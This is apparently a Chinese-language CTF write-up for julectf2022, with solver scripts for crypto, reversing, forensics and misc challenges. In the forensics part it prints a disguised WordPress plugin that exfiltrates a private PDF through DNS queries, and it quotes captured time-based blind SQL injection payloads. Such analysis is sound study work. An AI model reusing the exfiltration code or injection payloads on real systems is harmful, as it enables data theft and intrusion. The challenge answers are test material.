这个比赛参加的人极少,比赛有一星期那么长,快结束的时候来了个大牛,一下上到12000+,我这6K只能排到第二了。不过题还是挺不错的。只是入口不是人链接,得自己输才能进,可能很多人因为这个没参加。
Crypto
Exclusively Secure String
第一个密码题是个LCG,参数全给了,密文也给了。密文是flag的位(不足的就不足不补0)用空格分隔,然后用LCG结果异或。
唯一没给的就是种子。
from lib.types import IStdin, IStdout
import os, random
class LinearCongruentialGenerator:
def __init__(self, multiplier, increment, modulo, seed=random.randint(1,10000000000000000000000)):
self.multiplier = multiplier
self.increment = increment
self.modulo = modulo
self.seed = seed
def next_number(self):
self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
return self.seed
def main(stdin: IStdin, stdout: IStdout):
with open("flag.txt","r") as f:
flag = f.read()
lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31)
bin_flag = ' '.join(format(ord(x), 'b') for x in flag)
encrypted = ""
for i in range(len(bin_flag)):
if bin_flag[i] == "1" or bin_flag[i] == "0":
encrypted += str(int(bin_flag[i]) ^ (lcg.next_number() % 2))
else:
encrypted += bin_flag[i]
stdout.write(encrypted)
所以第一步就是求种子。由于flag的头部已知:julectf2022{ 通过这个来得到LCG的输出。
cipher = '1000000 0100000 1000110 0110000 1001001 0100001 1001100 011000 011010 011000 011000 0101110 100101 1001000 011111 011011 011100 011111 011110 010011 010010 010011 011000 011001 010011 011011 011000 011101 0110111 1001011 011011 0110111 1001001 011010 010010 011110 0110001 100100 1001000 0110110 100011 100101 100111 1001000 0101000 1111'
tc = cipher.replace(' ','')
flag = 'julectf2022{'
bin_flag = ' '.join([bin(ord(x))[2:] for x in flag])
print(bin_flag)
bin_flag = bin_flag.replace(' ', '')
xstr = [int(tc[i])^int(bin_flag[i]) for i in range(len(bin_flag))]
print(xstr, len(xstr))
#xstr = [0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1, 0, 1]
LCG可以用矩阵快速幂处理,这样可以得到每次的结果
先求出矩阵乘幂的结果
#sage
a,b,m = 1103515245,12345,2 ** 31
M = matrix(Zmod(2**31),3,3,[a,1,0,0,0,0,b,0,1])
for i in range(80):
T = pow(M,i+1)
print("[",T[0,0],',',T[2,0],"],")
#kk = [[ 1103515245 , 12345 ],[ 1117952617 , 1406932606 ],[ 8240309 , 654583775 ],[ 1845919505 , 1449466924 ],[ 1805731901 , 229283573 ],[ 1406949369 , 1109335178 ],[ 456479493 , 1051550459 ],[ 1339940641 , 1293799192 ],[ 268046093 , 794471793 ],[ 1864130185 , 551188310 ],[ 1524104789 , 803550167 ],[ 1211314225 , 1772930244 ],[ 224424669 , 370913197 ],[ 150879769 , 639546082 ],[ 729943717 , 1381971571 ],[ 1601471041 , 1695770928 ],[ 1670464429 , 2121308585 ],[ 1816561321 , 1719212846 ],[ 650433525 , 996984527 ],[ 518055249 , 1157490780 ],[ 424038781 , 1343235941 ],[ 1936902201 , 536853562 ],[ 1979096645 , 1511588075 ],[ 1285056865 , 1538207304 ],[ 788950093 , 2103497953 ],[ 1263112905 , 706568710 ],[ 159563157 , 956612807 ],[ 1487674993 , 1521280756 ],[ 1861575709 , 1588911645 ],[ 1315599961 , 371038354 ],[ 1966703077 , 33727075 ],[ 187569281 , 1680572000 ],[ 1772357869 , 88489753 ],[ 165544681 , 1282976734 ],[ 1101019957 , 527630783 ],[ 54614929 , 1194991756 ],[ 1876961981 , 1106424789 ],[ 2057685113 , 853518314 ],[ 37828997 , 392166107 ],[ 388629409 , 1387182456 ],[ 1501862285 , 1538766929 ],[ 340547337 , 654858422 ],[ 16501973 , 2086234551 ],[ 626859185 , 1792144676 ],[ 1766401373 , 837716109 ],[ 544554649 , 1513704002 ],[ 1314145573 , 269544019 ],[ 1720760001 , 1305165712 ],[ 496148013 , 1179132041 ],[ 124587817 , 1502988430 ],[ 113504885 , 1941297327 ],[ 1355538897 , 852280508 ],[ 1044567037 , 1787378757 ],[ 297359545 , 1328144282 ],[ 487138501 , 34689227 ],[ 460762593 , 805269672 ],[ 2005440205 , 235296705 ],[ 849914697 , 1203133286 ],[ 2037853205 , 794963623 ],[ 1953114865 , 321843028 ],[ 1370470045 , 1725935357 ],[ 1810011865 , 154978290 ],[ 1044797541 , 184094275 ],[ 1979738369 , 422948032 ],[ 1441858413 , 1929199097 ],[ 1509403497 , 1179349310 ],[ 14940597 , 1049906079 ],[ 1847883793 , 807982316 ],[ 809651517 , 214614197 ],[ 2045868281 , 973693770 ],[ 1212309509 , 662438587 ],[ 107112481 , 809784280 ],[ 505832461 , 263435057 ],[ 937594761 , 2030201366 ],[ 539548501 , 1700663191 ],[ 1559710001 , 932631940 ],[ 2055018461 , 1214206317 ],[ 1450606361 , 45289890 ],[ 293845925 , 2062159411 ],[ 518073153 , 342738416 ]]
根据这个结果和第一步的结果,用z3求出种子
from z3 import *
s = Solver()
x = Int('x')
s.add(x < 2**31)
for i in range(80):
s.add((x*kk[i][0] + kk[i][1] )%2 == xstr[i])
s.check()
d = s.model()
print(d)
#2147483647
最后有了种子之后,现用原程序重现就得到flag了。
x = 2147483647
class LinearCongruentialGenerator:
def __init__(self, multiplier, increment, modulo, seed=x):
self.multiplier = multiplier
self.increment = increment
self.modulo = modulo
self.seed = seed
def next_number(self):
self.seed = (self.multiplier * self.seed + self.increment) % self.modulo
return self.seed
lcg = LinearCongruentialGenerator(1103515245,12345,2 ** 31,x)
encrypted = ""
for i in range(len(cipher)):
if cipher[i] == "1" or cipher[i] == "0":
encrypted += str(int(cipher[i]) ^ (lcg.next_number() % 2))
else:
encrypted += cipher[i]
flag = [int(i,2) for i in encrypted.split(' ')]
print(bytes(flag))
#julectf2022{0b51654989239127ba1bc084d1bc602b}
后边3个都不会,等WP,一般情况等不到是正常的,大姥都不写的。
Reverse
Entanglement
这个题跟热身里的题似乎一样,里边可以看到密码,输入密码就得到flag。为啥rev和crypto难度差别那么大呢。
┌──(kali㉿kali)-[~/ctf/jule]
└─$ ./legionnaire
=== Legionnaire OS v2.32 ===
PASSWORD PROTECTED
Enter password: C0rr3ctHors3B4tt3ryStapl3
Checking password...
julectf{cfa39db162df1e37787d6caa047305b4}
Gingerbread baking
flag先后进行反向-异或-减-shuffle 得到密文
import time
import random
FLAG = "julectf2022{redacted}"
def heat_ingredients(ingredients): #反向
print("Preparing the ingredients...")
time.sleep(1)
return "".join([ingredients[i] for i in range(len(ingredients)-1,-1,-1)])
def mix_into_dough(ingredients): #xor 0x24
print("Mixing the ingredients into dough...")
time.sleep(1)
return [ord(x) ^ 0x24 for x in ingredients]
def roll_dough(dough): # -128 %256 hex
print("Rolling the cookie dough...")
time.sleep(1)
return [hex((x - 128)%256)[2:] for x in dough]
def cut_into_shapes(dough):
print("Shaping the cookie dough...")
time.sleep(1)
random.seed("".join(dough[-7:]))
random.shuffle(dough)
return dough
def bake(dough):
print("Baking the cookie...")
time.sleep(1)
cookie = ""
for d in dough:
cookie += d
return cookie
if __name__ == "__main__":
cookie = bake(cut_into_shapes(roll_dough(mix_into_dough(heat_ingredients(FLAG)))))
print()
print("Here's your freshly baked gingebread cookie!")
print(cookie)
#c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890
唯一的难点是最后一步shuffle
题目提示了flag的壳格式,所以可以得到足够的尾部,尾部已知,作种子可以复现最后一步shuffle
c = 'c6c2d99497c69696969c9692c7c2c7959193c0c2df92c6c1969cc6c792d190c7ce929dc195c296d09393c0c890'
b1 = b'julectf2022{'[::-1]
b2 = [i^0x24 for i in b1]
b3 = [hex((x - 128)%256)[2:] for x in b2]
b4 = ''.join(b3)
b4 = 'c2d0c7c1c8d1ce' #后7位(每位2字符)
import random
random.seed(b4)
b5 = [i for i in range(len(c)//2)]
random.shuffle(b5)
print(b5)
b6 = [0]*(len(c)//2)
for i in range(len(c)//2):
b6[b5[i]] = c[i*2: i*2+2]
b7 = ''.join(b6)
print(b7)
b8 = bytes.fromhex(b7)
b9 = [((i+128)%256) ^0x24 for i in b8]
print(bytes(b9[::-1]))
#julectf2022{7216fc46bdbb5b76cd693cf27f21e488}
Gifts
这个题少见,是下网页的推箱子游戏,进入下一关即可。
一个个打开网页,在game.js找到下一关的条件,需要按顺序把颜色连起来再hash与已知结果相同即可。
// Check win condition
if (
gifts.length === this.locations.length &&
this.locations.length > 0 &&
!this.clear
) {
const stringGifts = gifts.join("");
console.log(stringGifts)
const hashedGift = christmasMagic(stringGifts, KEY);
console.log(hashedGift)
this.clear = true;
if (hashedGift === HASH) {
fetchAsync(`/flag`, "POST", {
gifts: stringGifts,
}).then((data) => {
if (data.success) {
this.correctAudio.load();
this.correctAudio.play();
setTimeout(() => {
this.toggleTransition();
this.loadLevel(data.level);
this.clear = false;
}, 500);
} else {
this.failAudio.load();
this.failAudio.play();
setTimeout(() => {
this.toggleTransition();
this.reset();
this.clear = false;
}, 500);
}
});
} else {
这个由于js的hash与python不大相同,所以直接在浏览器里爆破。在开发都模式的console里写爆破脚本。
KEY = "53414e54415f434c4155535f57494c4c5f42455f564552595f48415050592121";
HASH = "bd2c76c87c2950605f31741000dfdc81";
COLORS = ["green", "red", "blue", "yellow", "purple"];
for(var i0=0;i0<5;i0++)for(var i1=0;i1<5;i1++)for(var i2=0;i2<5;i2++)
for(var i3=0;i3<5;i3++)for(var i4=0;i4<5;i4++)for(var i5=0;i5<5;i5++)
for(var i6=0;i6<5;i6++)for(var i7=0;i7<5;i7++)for(var i8=0;i8<5;i8++)
for(var i9=0;i9<5;i9++){
gifts = COLORS[i0]+COLORS[i1]+COLORS[i2]+COLORS[i3]+COLORS[i4]+COLORS[i5]+COLORS[i6]+COLORS[i7]+COLORS[i8]+COLORS[i9];
encryptedGift = CryptoJS.AES.encrypt(gifts,CryptoJS.enc.Hex.parse(KEY),{mode: CryptoJS.mode.ECB,}).ciphertext.toString();
hashedGift = CryptoJS.MD5(encryptedGift).toString();
if(hashedGift == HASH)console.log(gifts)
}
#purplegreenpurpleyellowpurpleredbluegreenyellowred
在控制台输入game.tiles在显示的块中,将对应box的箱子的位置和颜色改成指定值,进入第二关。然后跑着看flag
#julectf2022{c5254d088ac4e3f1efe12648c3b8b3b8}
Sidewinder
又是一个pyc的文件,手搓不是一回两回了,居然是唯一解出的。可能别人嫌麻烦吧。
这个是个python 3.11的版本编译的,一般的程序都不干逆。
选安个3.11然后转字节码
import marshal
import dis
def a1():
code = open('chall.cpython-311.pyc', 'rb').read()[16:]
code = marshal.loads(code)
dis.dis(code)
a1()
发现都是些简单的运算,但是量很大
23 >> 362 LOAD_FAST 1 (x)
364 LOAD_CONST 6 (41) x[41] + x[36] - x[8] == 55
366 BINARY_SUBSCR
376 LOAD_FAST 1 (x)
378 LOAD_CONST 7 (36)
380 BINARY_SUBSCR
390 BINARY_OP 0 (+)
394 LOAD_FAST 1 (x)
396 LOAD_CONST 8 (8)
398 BINARY_SUBSCR
408 BINARY_OP 10 (-)
412 LOAD_CONST 9 (55)
414 COMPARE_OP 3 (!=)
22 420 EXTENDED_ARG 14
422 POP_JUMP_FORWARD_IF_FALSE 3695 (to 7814)
24 424 LOAD_FAST 1 (x)
426 LOAD_CONST 10 (1)
428 BINARY_SUBSCR
438 LOAD_FAST 1 (x)
440 LOAD_CONST 6 (41)
442 BINARY_SUBSCR
452 BINARY_OP 0 (+)
456 LOAD_FAST 1 (x)
458 LOAD_CONST 11 (27)
460 BINARY_SUBSCR
470 BINARY_OP 0 (+)
474 LOAD_CONST 12 (219)
476 COMPARE_OP 3 (!=)
写个脚本转成脚本
import re
data = open('aaa2.py').read().split('\n\n')
#print(data)
#['x', '41', 'x', '36', '+', 'x', '8', '-', '55', '!=']
for i in range(0,len(data),2):
v = data[i]
t = re.findall('\((.+)\)', v)
if t[4] == 'x':
q = f"s.add(x[{t[1]}] {t[7]} (x[{t[3]}] {t[6]} x[{t[5]}]) == {t[8]} )"
else:
q = f"s.add((x[{t[1]}] {t[4]} x[{t[3]}]) {t[7]} x[{t[6]}] == {t[8]} )"
print(q)
给上一步生成的脚本加上头尾(z3求值),然后运行。虽然变量很多,但互相都不关联,运行起来很快。
from z3 import *
x = [BitVec(f'x{i}', 8) for i in range(45)]
s = Solver()
s.add((x[41] + x[36]) - x[8] == 55 )
s.add((x[1] + x[41]) + x[27] == 219 )
s.add((x[26] - x[2]) - x[9] == -103 )
s.add((x[10] * x[4]) * x[5] == 574200 )
s.add(x[8] - (x[10] * x[4]) == -4902 )
s.add((x[25] * x[35]) - x[34] == 2744 )
s.add(x[8] + (x[33] * x[31]) == 5748 )
s.add((x[31] - x[38]) + x[23] == 53 )
s.add((x[42] + x[6]) - x[28] == 97 )
s.add((x[3] + x[30]) + x[29] == 302 )
s.add((x[21] - x[13]) - x[10] == -91 )
s.add((x[35] * x[41]) + x[11] == 3147 )
s.add((x[26] - x[32]) + x[8] == 53 )
s.add((x[13] - x[42]) + x[22] == 149 )
s.add((x[17] - x[1]) + x[33] == 32 )
s.add((x[23] - x[41]) + x[43] == 99 )
s.add((x[43] * x[2]) + x[42] == 11064 )
s.add((x[24] - x[14]) - x[12] == -100 )
s.add((x[5] - x[41]) + x[1] == 179 )
s.add((x[44] + x[12]) - x[8] == 126 )
s.add((x[12] * x[14]) + x[37] == 4949 )
s.add((x[39] * x[1]) + x[32] == 5666 )
s.add((x[23] * x[27]) * x[15] == 132192 )
s.add((x[37] * x[2]) - x[32] == 5242 )
s.add(x[13] - (x[23] * x[43]) == -5104 )
s.add(x[26] - (x[7] * x[20]) == -2745 )
s.add(x[10] - (x[39] * x[19]) == -2686 )
s.add((x[37] - x[30]) - x[21] == -109 )
s.add((x[32] + x[2]) + x[4] == 257 )
s.add(x[15] - (x[17] * x[21]) == -2739 )
s.add((x[6] - x[39]) - x[4] == -45 )
s.add((x[6] - x[39]) - x[10] == 4 )
s.add((x[11] + x[3]) - x[6] == 122 )
s.add((x[12] + x[15]) + x[17] == 152 )
s.add((x[38] - x[21]) - x[16] == -102 )
s.add((x[36] * x[21]) + x[13] == 2891 )
s.add((x[0] - x[2]) + x[21] == 55 )
s.add((x[19] - x[18]) - x[14] == -142 )
s.add(x[21] + (x[9] * x[30]) == 5107 )
s.add((x[9] * x[31]) * x[3] == 287850 )
s.add((x[41] * x[19]) - x[3] == 2977 )
s.add((x[41] * x[36]) - x[30] == 2545 )
s.add((x[39] - x[5]) - x[30] == -169 )
s.add(x[37] - (x[15] * x[29]) == -5351 )
s.add(x[12] + (x[31] * x[26]) == 3184 )
s.add(x[12] - (x[2] * x[8]) == -5135 )
s.add((x[8] * x[17]) * x[13] == 230496 )
s.add(x[10] + (x[1] * x[35]) == 6602 )
s.add(x[11] + (x[43] * x[37]) == 5121 )
s.add((x[25] + x[1]) + x[43] == 269 )
s.add((x[44] * x[31]) + x[4] == 7224 )
s.add((x[1] - x[31]) - x[36] == 11 )
s.add(x[0] - (x[32] * x[23]) == -2444 )
s.add((x[9] + x[24]) - x[39] == 51 )
s.add(x[8] - (x[5] * x[13]) == -11320 )
s.add((x[2] * x[21]) + x[15] == 6210 )
s.add((x[24] * x[23]) - x[3] == 2398 )
s.add(x[32] - (x[2] * x[1]) == -12586 )
s.add((x[30] * x[41]) - x[18] == 5355 )
s.add(x[43] - (x[39] * x[32]) == -2298 )
s.add(x[19] + (x[30] * x[39]) == 4905 )
s.add((x[27] - x[8]) - x[20] == -56 )
s.add((x[11] * x[31]) * x[1] == 820287 )
s.add(x[21] - (x[12] * x[37]) == -2344 )
s.add((x[8] * x[44]) * x[40] == 294000 )
s.add((x[17] * x[28]) * x[16] == 259700 )
s.add((x[22] * x[11]) * x[40] == 596673 )
s.add((x[18] * x[5]) + x[22] == 11583 )
s.add(x[7] + (x[11] * x[38]) == 6815 )
s.add((x[37] * x[19]) - x[20] == 2737 )
s.add((x[26] - x[4]) + x[20] == 12 )
s.add(x[38] - (x[18] * x[13]) == -9647 )
s.add((x[9] - x[6]) - x[37] == -101 )
s.add(x[3] + (x[4] * x[17]) == 4952 )
s.add((x[31] - x[18]) + x[41] == 12 )
s.add((x[2] * x[37]) * x[3] == 534492 )
s.add((x[33] - x[11]) + x[30] == 78 )
s.add((x[17] * x[32]) * x[0] == 259700 )
s.add((x[12] - x[9]) + x[24] == 48 )
s.add((x[20] * x[10]) + x[2] == 2908 )
s.add((x[40] - x[7]) - x[32] == -51 )
s.add((x[35] - x[1]) + x[16] == 39 )
s.add((x[29] - x[1]) - x[17] == -66 )
s.add((x[13] * x[40]) * x[14] == 480200 )
s.add((x[39] + x[29]) - x[22] == 49 )
s.add(x[1] - (x[18] * x[25]) == -4833 )
s.add(x[34] + (x[18] * x[0]) == 10550 )
s.add((x[31] * x[43]) - x[42] == 5766 )
s.add((x[4] * x[11]) - x[20] == 12121 )
s.add((x[43] + x[24]) - x[18] == 52 )
s.add((x[12] - x[24]) - x[11] == -123 )
s.add((x[6] - x[29]) - x[40] == -47 )
s.add((x[35] * x[17]) - x[19] == 2687 )
s.add((x[1] * x[23]) * x[11] == 733941 )
s.add(x[39] - (x[34] * x[0]) == -5888 )
s.add((x[29] * x[15]) - x[7] == 5350 )
s.add(x[5] - (x[38] * x[34]) == -2964 )
s.add((x[37] - x[12]) - x[44] == -125 )
s.add((x[9] * x[23]) + x[34] == 2606 )
s.add((x[34] - x[32]) + x[8] == 54 )
s.add((x[36] - x[2]) - x[14] == -159 )
s.add((x[28] * x[3]) + x[14] == 5453 )
s.add((x[26] - x[16]) + x[39] == 3 )
s.add((x[20] * x[10]) + x[21] == 2857 )
s.add((x[20] * x[5]) - x[4] == 6397 )
s.add((x[38] * x[21]) + x[27] == 3183 )
s.add((x[31] * x[12]) + x[38] == 2848 )
s.add((x[19] * x[2]) + x[30] == 6257 )
s.add((x[29] * x[19]) + x[30] == 5801 )
s.add(x[37] - (x[12] * x[35]) == -2695 )
s.add((x[1] + x[28]) + x[11] == 293 )
s.add((x[44] * x[6]) - x[30] == 12649 )
s.add((x[29] * x[44]) * x[12] == 612500 )
s.add((x[11] - x[43]) + x[7] == 71 )
s.add(x[9] - (x[22] * x[34]) == -5494 )
s.add((x[8] * x[17]) + x[31] == 2409 )
s.add((x[15] * x[26]) * x[6] == 302940 )
s.add((x[17] * x[13]) * x[27] == 230496 )
s.add((x[42] * x[23]) + x[36] == 2497 )
s.add((x[19] + x[7]) + x[16] == 207 )
s.check()
d = s.model()
flag = ''
for i in range(45):
flag += chr(d[x[i]].as_long())
print(flag)
#julectf2022{1bd6d1c989c312705de92d881170160f}
Forensics
Broken Card
附件是个data.png实际上是个xxd生成的16进制文件
00000000: 1f8b 0808 2082 8a63 0003 6461 7461 00ed .... ..c..data..
00000010: ceaf 6a82 7114 c6f1 5334 6810 5130 c97e ..j.q...S4h.Q0.~
00000020: 4910 cbef e84f 5f97 86c2 cc43 934b 7b41 I....O_....C.K{A
00000030: c462 f17d 6d03 074b 0b63 7a07 8a62 12a3 .b.}m..K.cz..b..
00000040: 77b2 6b30 b87b 98ff cad2 961c 08df 4f79 w.k0.{........Oy
00000050: c279 7838 1d3f f4e5 c2ec 41c5 b963 aa57 .yx8.?....A..c.W
00000060: b63f f344 8b56 d495 5cb1 6cad e7a9 58d5 .?.D.V..\.l...X.
00000070: 92ad 88b1 977e ec68 1884 fec0 1819 8681 .....~.h........
00000080: 1ff4 7ee9 fd71 bf52 f5c7 dead d6da b956 ..~..q.R.......V
00000090: 7b75 f3fd 2992 7a7f 193d dd49 3c1d 8d19 {u..).z..=.I<...
000000a0: d1da bcf1 6a5c 7eb6 fc68 76e7 d145 a49e ....j\~..hv..E..
000000b0: 98e4 3498 e693 d9f5 57b3 6036 d9b7 ed73 ..4.....W.`6...s
000000c0: 77d7 1f65 06f7 d587 f179 0100 0000 0000 w..e.....y......
000000d0: 0000 0000 0000 0000 f01f f695 3008 a600 ............0...
000000e0: 2800 00 (..
还原后是个tgz的压缩包,解开后是个bz2的包,再解开就是flag
xxd -r data.png > a.png
mv a.png a.gz
gunzip a.gz
mv data data.tar
tar xvf data.tar
mv data data.bz2
bzip2 -d data.bz2
cat data
#julectf2022{E56B4E41A16FB0453E690D93C9C44681}
Tålmodig
流量题,用wireshark打开看到
POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.69 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded
onske=02dAFf83EB6Bb025%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28125%29%2C+UPPER%28HEX%28RANDOMBLOB%2884719829%29%29%29%2C+%270b4B86A1A2DF3EB7%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33
Ditt ..nske har blitt registrert!
POST /onske HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 5.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Host: onskeliste.ctf
Content-Length: 187
Content-Type: application/x-www-form-urlencoded
onske=eDa2DCC2ee5Ee0bB%27%29+UNION+SELECT+IIF%28SUBSTRING%28flag%2C+45%2C+1%29+%3D+CHAR%28126%29%2C+UPPER%28HEX%28RANDOMBLOB%2870501923%29%29%29%2C+%279AF150B5C8D0FdAE%27%29+FROM+flag--+-HTTP/1.1 200 OK
Server: gunicorn
Date: Wed, 23 Nov 2022 12:15:20 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 33
Ditt ..nske har blitt registrert!
这像个教科书,告诉无回显情况下如果爆破。
SELECT IIF(LENGTH(flag) = 44, UPPER(HEX(RANDOMBLOB(97006908))), 'be9a6FC22ffe8F73') FROM flag
这名是当flag的某位为指定值时用randombolb生成一个巨大的串再hex,upper这样会用很长时间,通过这个时间来确定是否爆破成功。
先用tshark过滤出数据,再转一下码
#tshark.exe -r traffic.pcap -T fields -e ip.src -e tcp.time_relative -e http.file_data -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv
from urllib.parse import unquote
data = open('aaa.csv').readlines()
fd = open('bbb.csv', 'w')
for v in data:
if len(v)< 25:
continue
fd.write(unquote(v).replace('+', ' '))
fd.close()
最后根据用的时间确定是哪个字符
import re
flag = ''
data = open('bbb.csv').readlines()
for i in range(500, len(data), 2):
v = float(data[i+1].split(',')[1])
if v>1.0:
k = re.findall('CHAR\((\d+)\)', data[i])
print(k,data[i])
flag += chr(int(k[0]))
print(flag)
Infected Blog
也是流量题,里边有dns的流量,显然并不正确,从里边解出的文件可以知道加密方式
<?php
/**
* Twitter Integration
*
* @package TWIGR
* @author Elon Musk
* @version 1.4.2
*
* @wordpress-plugin
* Plugin Name: Twitter Integration
* Plugin URI: https://twitter.com
* Description: Will automatically share new posts to a Twitter account.
* Version: 1.4.2
* Author: Elon Musk
* Author URI: https://twitter.com
* Text Domain: twitter-integration
* Domain Path: /languages
*/
if (!defined('ABSPATH')) exit;
if (!file_exists('/tmp/c0007cdd~')) {
file_put_contents('/tmp/c0007cdd~', '');
mt_srand(0x35f770b9);
$job = 4281;
$str = file_get_contents('/srv/smb/private/deal_01.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
$out = bin2hex($res);
for ($i = 0; $i < strlen($out); $i+=192) {
$part = substr($out, $i, 48).'.'.substr($out, $i+48, 48)
.'.'.substr($out, $i+96, 48).'.'.substr($out, $i+144, 48);
$part .= '.n'.($i/192).'.j'.$job.'.h4x.dns';
while (strpos($part, '..') !== FALSE) $part = str_replace('..', '.', $part);
dns_get_record($part, DNS_TXT);
}
}
先把流量解出加密的pdf文件
#1382 37.579200 10.1.15.183 10.1.15.119 HTTP 2906 POST /wp-admin/update.php?action=upload-plugin HTTP/1.1 (application/zip)
#上传处理程序,导出得到twitter-integration.php
#程序将deal_01.pdf加密后通过dns query的形式从server 10.1.15.119 发送到10.2.10.2
#tshark.exe -r blog.pcap -T fields -e ip.src -e ip.proto -e dns.qry.name -E header=n -E separator=, -E quote=n -E occurrence=f > aaa.csv
#取出数据并过滤无用数据得到aaa.csv
#从aaa.csv取数据组成deal_01_enc.pdf
#用b.php 对deal_01_enc.pdf 解密
data = [0]*499
msg = open('aaa.csv').readlines()
#10.1.15.119,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns
#10.2.10.2,17,a0b377669b5fa71e9fc036142349fbdea5ed2ba1b990d282.5807f1aece085a30777c53cb6760ff8434160c8be80ded09.422095ed5f44c12634ad63fd9bdb58c5e2b675dc0416eec2.c0d02e3125bea9d7c4194964997aaefcdbf6da0b37819b2c.n0.j4281.h4x.dns
for v in msg:
if not '10.2.10.2' in v:
continue
aa = v.split(',')[2].split('.')
idx = int(aa[-4][1:])
data[idx] = ''.join(aa[:-4])
v = bytes.fromhex(''.join(data))
open('deal_01_enc.pdf', 'wb').write(v)
最后根据种子生成异或流恢复pdf文件(php的rand和python不同,所以恢复还得用php写),flag就在文件里
<?
mt_srand(0x35f770b9);
$str = file_get_contents('deal_01_enc.pdf');
$res = '';
for ($i = 0; $i < strlen($str); $i++) $res .= chr(ord($str[$i]) ^ mt_rand(0, 255));
file_put_contents('deal_01.pdf', $res);
// julectf{7d17f1abb1e8a701454fc1a3c6875724}
?>
Lekkasje
附件是个lrz的文件,是一种特殊的压缩包,在linux有解压程序lrzip。
解开后是个web服务的后台日志
172.22.0.4 - - [28/Nov/2022:16:49:37 +0000] "GET /users/1%20And%20OrD%28mId%28%28IfNuLL%28Cast%28Hex%28LoAD_file%280x2f646174612f70726f66696c6570696374757265732f30613237623136623339663062383832303232323337373338396462316433342e6a7067%29%29%20As%20NchaR%29%2C0x20%29%29%2C163%2C1%29%29%3E52/settings HTTP/1.1" 404 9 "-" "Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54"
量还挺大,每行都是对文件hex后的一个字节的大小判断>65,>50这样,然后是返回值404或403来判断是否正确。把这些取出来,然后用z3计算,多的有5000+变量,第3张图上是flag
Miscellaneous
God Jul
这个是英文吗?不大懂,进去以后发现是调查问卷
Catch Me
一大堆base64先base64再hex解,flag就在里头。
原来外国的base64解算是杂项
Wishlist
附件里有好多文件,在mysql下的wishlist.sql文件里有flag
Coal as presents
唯一有像杂项的题,附件是个尺寸很大的小图版。用010打开里边有好多图,把字们都取出来,是一椎数字或字符括号。
data = open('pic.png', 'rb').read()
a = data.split(b'\x89PNG')
for i,v in enumerate(a):
open(f'pic_{i:02d}.png', 'wb').write(b'\x89PNG'+v)
第1张上有点小点
根据大小判断,这些小点是表示图片的使用顺序,列表示flag第几个字符,行有点表示用第几个图。用程序解出
from PIL import Image
img = Image.open('pic_01.png')
n = '0124568ab}cdefjl{tu'
flag = ''
v = [0]*28
for i in range(28):
for j in range(19):
p = img.getpixel((j,i))
if p[3] != 0:
flag += n[j]
v[i]=j
print(flag)
#julectf2022{ad1588e2bf1684d}